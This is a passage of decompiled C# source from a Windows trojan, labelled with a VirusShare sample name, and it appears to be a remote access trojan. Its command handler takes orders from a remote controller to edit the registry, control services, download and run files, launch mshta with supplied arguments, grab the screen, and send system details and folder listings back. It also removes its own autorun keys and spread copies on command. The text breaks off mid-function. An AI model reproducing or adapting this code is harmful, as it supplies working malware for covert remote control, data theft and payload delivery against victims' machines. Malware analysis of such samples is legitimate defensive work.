// Decompiled with JetBrains decompiler
// Type: n.IND
// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.wh-0adec5f2e37dcb28180512f882c1aec3a7f939bf33e4147587c7b7277719444b.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.VisualBasic.Devices;
using Microsoft.Win32;
using n.My;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace n
{
  [StandardModule]
  internal sealed class IND
  {
    public static string TM = Interaction.Environ("temp") + "\\";
    public static string Y = "^:^";
    private static int ER;
    public static int LPING;
    public static chat Ca = new chat();
    private const int MOUSEEVENTF_ABSOLUTE = 32768;
    private const int MOUSEEVENTF_LEFTDOWN = 2;
    private const int MOUSEEVENTF_LEFTUP = 4;
    private const int MOUSEEVENTF_MOVE = 1;
    private const int MOUSEEVENTF_MIDDLEDOWN = 32;
    private const int MOUSEEVENTF_MIDDLEUP = 64;
    private const int MOUSEEVENTF_RIGHTDOWN = 8;
    private const int MOUSEEVENTF_RIGHTUP = 16;
    private static string pk;

    public static void inddd(string T)
    {
      RichTextBox t1 = B.Chat.T1;
      t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n";
    }

    public static RegistryKey Rk(ref string p, ref bool W)
    {
      Array Instance = (Array) Strings.Split(p, "\\");
      object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1]
      {
        (object) 0
      }, (string[]) null);
      RegistryKey registryKey;
      if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false))
        registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false))
        registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false))
        registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false))
        registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false))
        registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
      return registryKey;
    }

    public static void ind(byte[] Da)
    {
      IND.ER = 0;
      string str1 = Encoding.UTF8.GetString(Da);
      int num1;
      try
      {
        Array Instance1 = (Array) Strings.Split(str1, IND.Y);
        string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
        {
          (object) 0
        }, (string[]) null).ToString();
        int num2;
        if (Operators.CompareString(Left1, "#KON", false) == 0)
        {
          if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null), (object) "T", false))
            B.KON = true;
          else
            B.KON = false;
        }
        else if (Operators.CompareString(Left1, "#RG", false) == 0)
        {
          IND.ER = 1;
          object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null);
          if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false))
          {
            Array Instance2 = Instance1;
            object[] objArray1 = new object[1];
            object[] objArray2 = objArray1;
            int num3 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num3;
            objArray2[0] = (object) local1;
            object[] Arguments = objArray1;
            string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null));
            ref string local2 = ref str2;
            bool flag = false;
            ref bool local3 = ref flag;
            RegistryKey registryKey1 = IND.Rk(ref local2, ref local3);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num3,
              (object) str2
            }, (string[]) null, true, false);
            RegistryKey registryKey2 = registryKey1;
            string Right;
            string s;
            foreach (string subKeyName in registryKey2.GetSubKeyNames())
            {
              string str3 = Right;
              s = subKeyName + IND.Y + IND.Y + "Key";
              string str4 = API.ENB(ref s);
              string y = IND.Y;
              Right = str3 + str4 + y;
            }
            foreach (string valueName in registryKey2.GetValueNames())
            {
              string str5 = registryKey2.GetValue(valueName, RuntimeHelpers.GetObjectValue(new object())).ToString();
              if (str5.Length > 200)
                str5 = Strings.Mid(str5, 1, 200);
              string str6 = Right;
              s = valueName + IND.Y + str5 + IND.Y + "Value";
              string str7 = API.ENB(ref s);
              string y = IND.Y;
              Right = str6 + str7 + y;
            }
            B b = MyProject.Forms.B;
            s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 2
            }, (string[]) null)), (object) IND.Y), (object) Right));
            ref string local4 = ref s;
            b.SEND(ref local4);
          }
          else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false))
          {
            Array Instance3 = Instance1;
            object[] objArray3 = new object[1];
            object[] objArray4 = objArray3;
            int num4 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local5 = (ValueType) num4;
            objArray4[0] = (object) local5;
            object[] Arguments = objArray3;
            string str8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null));
            ref string local6 = ref str8;
            bool flag = true;
            ref bool local7 = ref flag;
            RegistryKey registryKey = IND.Rk(ref local6, ref local7);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num4,
              (object) str8
            }, (string[]) null, true, false);
            registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 3
            }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 4
            }, (string[]) null)));
          }
          else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false))
          {
            Array Instance4 = Instance1;
            object[] objArray5 = new object[1];
            object[] objArray6 = objArray5;
            int num5 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local8 = (ValueType) num5;
            objArray6[0] = (object) local8;
            object[] Arguments = objArray5;
            string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null));
            ref string local9 = ref str9;
            bool flag = true;
            ref bool local10 = ref flag;
            RegistryKey registryKey3 = IND.Rk(ref local9, ref local10);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num5,
              (object) str9
            }, (string[]) null, true, false);
            RegistryKey registryKey4 = registryKey3;
            int num6 = Instance1.Length - 1;
            for (int index = 3; index <= num6; ++index)
            {
              Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
              {
                (object) index
              }, (string[]) null)), "\\");
              if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
              {
                (object) 1
              }, (string[]) null), (object) "Key", false))
                registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
                {
                  (object) 0
                }, (string[]) null)));
              else
                registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
                {
                  (object) 0
                }, (string[]) null)));
            }
          }
          else
          {
            if (!Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false))
              return;
            Array Instance6 = Instance1;
            object[] objArray7 = new object[1];
            object[] objArray8 = objArray7;
            int num7 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local11 = (ValueType) num7;
            objArray8[0] = (object) local11;
            object[] Arguments = objArray7;
            string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null));
            ref string local12 = ref str10;
            bool flag = true;
            ref bool local13 = ref flag;
            RegistryKey registryKey = IND.Rk(ref local12, ref local13);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num7,
              (object) str10
            }, (string[]) null, true, false);
            registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 3
            }, (string[]) null)));
          }
        }
        else if (Operators.CompareString(Left1, "#k", false) == 0)
        {
          IND.ER = 1;
          if (File.Exists(Application.StartupPath + "\\" + B.exename) && FileSystem.FileLen(Application.StartupPath + "\\" + B.exename) > 0L)
          {
            B b = MyProject.Forms.B;
            string str11 = "#k" + IND.Y + File.ReadAllText(Application.StartupPath + "\\" + B.exename);
            ref string local = ref str11;
            b.SEND(ref local);
          }
          else
          {
            B b = MyProject.Forms.B;
            string str12 = "#k" + IND.Y + "..";
            ref string local = ref str12;
            b.SEND(ref local);
          }
        }
        else if (Operators.CompareString(Left1, "#X", false) == 0)
        {
          IND.ER = 0;
          int num8 = 8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null).ToString().Length;
          MemoryStream memoryStream = new MemoryStream();
          int num9 = num8;
          int num10 = Da.Length - 1;
          for (int index = num9; index <= num10; ++index)
            memoryStream.WriteByte(Da[index]);
          byte[] array = memoryStream.ToArray();
          bool flag = false;
          ref bool local = ref flag;
          byte[] bytes = API.ZIP(array, ref local);
          int num11 = 0;
          do
          {
            if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null)))))
            {
              try
              {
                File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                {
                  (object) 1
                }, (string[]) null))));
                File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                {
                  (object) 1
                }, (string[]) null))), bytes);
                NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
                {
                  Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                  {
                    (object) 1
                  }, (string[]) null))
                }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
                break;
              }
              catch (Exception ex)
              {
                int lErl = num2;
                ProjectData.SetProjectError(ex, lErl);
                ProjectData.ClearProjectError();
              }
              ++num11;
            }
            else
            {
              File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
              {
                (object) 1
              }, (string[]) null))), bytes);
              NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
              {
                Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                {
                  (object) 1
                }, (string[]) null))
              }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
              break;
            }
          }
          while (num11 <= 999);
        }
        else if (Operators.CompareString(Left1, "##", false) == 0)
        {
          IND.ER = 5;
          MyProject.Computer.Registry.CurrentUser.SetValue("p", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)));
          B b = MyProject.Forms.B;
          string str13 = "plugin";
          ref string local = ref str13;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#Rec", false) == 0)
        {
          B.XRec = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null));
          MyProject.Forms.B.Dis();
        }
        else if (Operators.CompareString(Left1, "#ser0", false) == 0)
        {
          IND.ER = 1;
          string str14;
          string s;
          foreach (ServiceController service in ServiceController.GetServices())
          {
            string str15 = str14;
            string y = IND.Y;
            s = service.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(service.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + service.Status.ToString() + "{}" + service.DisplayName;
            string str16 = API.ENB(ref s);
            str14 = str15 + y + str16;
          }
          B b = MyProject.Forms.B;
          s = "#ser0" + str14;
          ref string local = ref s;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#ser1", false) == 0)
        {
          IND.ER = 1;
          foreach (ServiceController service in ServiceController.GetServices())
          {
            if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null), false))
              service.Start();
          }
        }
        else if (Operators.CompareString(Left1, "#ser2", false) == 0)
        {
          IND.ER = 1;
          foreach (ServiceController service in ServiceController.GetServices())
          {
            if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null), false))
              service.Stop();
          }
        }
        else if (Operators.CompareString(Left1, "#R", false) == 0)
        {
          IND.ER = 0;
          B.Nkey.SetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)));
          B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null));
          B b = MyProject.Forms.B;
          string str17 = Conversions.ToString(Operators.ConcatenateObject((object) ("#R" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)));
          ref string local = ref str17;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "ping", false) == 0)
        {
          B b = MyProject.Forms.B;
          string str18 = "pong";
          ref string local = ref str18;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#0", false) == 0)
        {
          IND.ER = 0;
          B b1 = MyProject.Forms.B;
          string str19 = "#red";
          ref string local14 = ref str19;
          b1.SEND(ref local14);
          Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.Du((Array) a0)));
          Array Instance7 = Instance1;
          object[] objArray9 = new object[1];
          object[] objArray10 = objArray9;
          int num12 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local15 = (ValueType) num12;
          objArray10[0] = (object) local15;
          object[] Arguments = objArray9;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null));
          string Expression = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num12,
            (object) s
          }, (string[]) null, true, false);
          string y = IND.Y;
          IND.Du((Array) Strings.Split(Expression, y));
          do
          {
            num1 = 0;
            Thread.Sleep(5);
          }
          while (thread.IsAlive);
          B b2 = MyProject.Forms.B;
          string str20 = "#Bla";
          ref string local16 = ref str20;
          b2.SEND(ref local16);
        }
        else if (Operators.CompareString(Left1, "#1", false) == 0)
        {
          B b3 = MyProject.Forms.B;
          string str21 = "#red";
          ref string local17 = ref str21;
          b3.SEND(ref local17);
          IND.ER = 0;
          Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.DT((Array) a0)));
          Array Instance8 = Instance1;
          object[] objArray11 = new object[1];
          object[] objArray12 = objArray11;
          int num13 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local18 = (ValueType) num13;
          objArray12[0] = (object) local18;
          object[] Arguments = objArray11;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments, (string[]) null));
          string Expression = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num13,
            (object) s
          }, (string[]) null, true, false);
          string y = IND.Y;
          IND.DT((Array) Strings.Split(Expression, y));
          do
          {
            num1 = 1;
            Thread.Sleep(5);
          }
          while (thread.IsAlive);
          B b4 = MyProject.Forms.B;
          string str22 = "#Bla";
          ref string local19 = ref str22;
          b4.SEND(ref local19);
        }
        else if (Operators.CompareString(Left1, "#2", false) == 0)
        {
          IND.ER = 0;
          string str23 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)), ".")[Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)), ".").Length - 1];
          int num14 = 0;
          while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23))
          {
            try
            {
              File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23);
              int num15;
              ++num15;
              if (num15 > 5)
                return;
              continue;
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            ++num14;
            if (num14 > 9999)
              return;
          }
          string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23;
          Network network = MyProject.Computer.Network;
          object[] objArray13 = new object[2];
          object[] objArray14 = objArray13;
          Array Instance9 = Instance1;
          object[] objArray15 = new object[1];
          object[] objArray16 = objArray15;
          int num16 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num16;
          objArray16[0] = (object) local;
          object[] Arguments1 = objArray15;
          object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance9, Arguments1, (string[]) null));
          objArray14[0] = objectValue;
          objArray13[1] = (object) fileName;
          object[] objArray17 = objArray13;
          object[] Arguments2 = objArray17;
          bool[] flagArray = new bool[2]{ true, true };
          bool[] CopyBack = flagArray;
          NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments2, (string[]) null, (System.Type[]) null, CopyBack, true);
          if (flagArray[0])
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num16,
              RuntimeHelpers.GetObjectValue(objArray17[0])
            }, (string[]) null, true, false);
          if (flagArray[1])
            fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray17[1]), typeof (string));
          Process.Start(fileName);
        }
        else if (Operators.CompareString(Left1, "#3", false) == 0)
        {
          IND.ER = 0;
          MemoryStream memoryStream = new MemoryStream();
          byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y);
          memoryStream.Write(bytes1, 0, bytes1.Length);
          Encoding encoding = Encoding.Default;
          ref byte[] local20 = ref C.Plug;
          string str24 = "plugin.C";
          ref string local21 = ref str24;
          string str25 = "Pass";
          ref string local22 = ref str25;
          object obj = (object) null;
          ref object local23 = ref obj;
          string s1 = Conversions.ToString(C.inv(ref local20, ref local21, ref local22, ref local23));
          string s2 = API.ENB(ref s1);
          byte[] bytes2 = encoding.GetBytes(s2);
          bool flag = true;
          ref bool local24 = ref flag;
          byte[] buffer = API.ZIP(bytes2, ref local24);
          memoryStream.Write(buffer, 0, buffer.Length);
          MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
        }
        else if (Operators.CompareString(Left1, "#4", false) == 0)
        {
          if (B.Rec)
            ProjectData.EndApp();
          IND.ER = 0;
          try
          {
            MyProject.Forms.B.BW.B.Dispose();
            A.fj.Dispose();
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
          if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null), (object) "!", false))
          {
            try
            {
              MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            try
            {
              MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            try
            {
              B.Nkey.DeleteValue("vname");
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            try
            {
              B.Nkey.DeleteValue("FL");
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            try
            {
              foreach (DriveInfo drive in DriveInfo.GetDrives())
              {
                if (drive.IsReady)
                {
                  if (drive.TotalFreeSpace > 0L)
                  {
                    try
                    {
                      if (File.Exists(drive.Name + B.Uo))
                        File.Delete(drive.Name + B.Uo);
                    }
                    catch (Exception ex)
                    {
                      int lErl = num2;
                      ProjectData.SetProjectError(ex, lErl);
                      ProjectData.ClearProjectError();
                    }
                  }
                }
              }
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            foreach (Process process in Process.GetProcessesByName("wscript"))
            {
              try
              {
                process.Kill();
              }
              catch (Exception ex)
              {
                int lErl = num2;
                ProjectData.SetProjectError(ex, lErl);
                ProjectData.ClearProjectError();
              }
            }
            try
            {
              string path = Application.StartupPath + "\\j.vbs";
              string w = n.My.Resources.Resources.W;
              string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath);
              File.WriteAllText(path, contents);
              Process.Start(Application.StartupPath + "\\j.vbs");
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
          }
          ProjectData.EndApp();
        }
        else if (Operators.CompareString(Left1, "#5", false) == 0)
        {
          IND.ER = 0;
          Process process = Process.Start(new ProcessStartInfo()
          {
            FileName = "mshta.exe",
            Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null)),
            CreateNoWindow = true,
            WindowStyle = ProcessWindowStyle.Hidden
          });
          Thread.Sleep(60000);
          try
          {
            process.Kill();
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
        }
        else if (Operators.CompareString(Left1, "#6", false) == 0)
        {
          IND.ER = 0;
          try
          {
            MyProject.Forms.B.BW.B.Dispose();
            if (A.fj.Id > 1)
              A.fj.Kill();
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
          Process.Start(Application.ExecutablePath);
          ProjectData.EndApp();
        }
        else if (Operators.CompareString(Left1, "#7", false) == 0)
        {
          IND.ER = 2;
          Array Instance10 = Instance1;
          object[] objArray18 = new object[1];
          object[] objArray19 = objArray18;
          int num17 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local25 = (ValueType) num17;
          objArray19[0] = (object) local25;
          object[] Arguments = objArray18;
          int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance10, Arguments, (string[]) null));
          byte[] numArray = sc.gc(ref integer);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num17,
            (object) integer
          }, (string[]) null, true, false);
          byte[] buffer = numArray;
          if (buffer.Length == 0)
          {
            B b = MyProject.Forms.B;
            string str26 = "#5" + IND.Y + Conversions.ToString(0);
            ref string local26 = ref str26;
            b.SEND(ref local26);
          }
          else
          {
            MemoryStream memoryStream = new MemoryStream();
            memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
            memoryStream.Write(buffer, 0, buffer.Length);
            MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
          }
        }
        else if (Operators.CompareString(Left1, "#8", false) == 0)
        {
          string Right = "\r\n";
          string str27;
          string s = Conversions.ToString(Operators.AddObject((object) (str27 + "PC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace("  ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + IND.siz(Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory)) + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + B.Nkey.Name + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No");
          B b = MyProject.Forms.B;
          string str28 = "#7" + IND.Y + API.ENB(ref s);
          ref string local = ref str28;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#9", false) == 0)
        {
          IND.ER = 1;
          string str29;
          string s;
          foreach (DriveInfo drive in DriveInfo.GetDrives())
          {
            if (drive.IsReady)
            {
              string str30 = str29;
              string y = IND.Y;
              s = drive.Name;
              string str31 = API.ENB(ref s);
              str29 = str30 + y + str31;
            }
          }
          B b = MyProject.Forms.B;
          string[] strArray1 = new string[8];
          strArray1[0] = "#8";
          strArray1[1] = str29;
          strArray1[2] = IND.Y;
          string[] strArray2 = strArray1;
          string desktop = MyProject.Computer.FileSystem.SpecialDirectories.Desktop;
          string str32 = API.ENB(ref desktop);
          strArray2[3] = str32;
          strArray1[4] = IND.Y;
          string[] strArray3 = strArray1;
          string myDocuments = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments;
          string str33 = API.ENB(ref myDocuments);
          strArray3[5] = str33;
          strArray1[6] = IND.Y;
          string[] strArray4 = strArray1;
          s = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
          string str34 = API.ENB(ref s);
          strArray4[7] = str34;
          string str35 = string.Concat(strArray1);
          ref string local = ref str35;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#10", false) == 0)
        {
          IND.ER = 1;
          Array Instance11 = Instance1;
          object[] objArray20 = new object[1];
          object[] objArray21 = objArray20;
          int num18 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local27 = (ValueType) num18;
          objArray21[0] = (object) local27;
          object[] Arguments3 = objArray20;
          string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments3, (string[]) null));
          string path1 = API.DEB(ref s3);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num18,
            (object) s3
          }, (string[]) null, true, false);
          string str36;
          foreach (string directory in Directory.GetDirectories(path1))
          {
            string str37 = str36;
            string y = IND.Y;
            string Expression = directory;
            Array Instance12 = Instance1;
            object[] objArray22 = new object[1];
            object[] objArray23 = objArray22;
            int num19 = 1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local28 = (ValueType) num19;
            objArray23[0] = (object) local28;
            object[] Arguments4 = objArray22;
            string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments4, (string[]) null));
            string Find = API.DEB(ref s4);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num19,
              (object) s4
            }, (string[]) null, true, false);
            string s5 = Strings.Replace(Expression, Find, "") + "*DIR";
            string str38 = API.ENB(ref s5);
            str36 = str37 + y + str38;
          }
          string[] strArray5 = new string[5]
          {
            "png",
            "jpg",
            "jpeg",
            "bmp",
            "ico"
          };
          Array Instance13 = Instance1;
          object[] objArray24 = new object[1];
          object[] objArray25 = objArray24;
          int num20 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local29 = (ValueType) num20;
          objArray25[0] = (object) local29;
          object[] Arguments5 = objArray24;
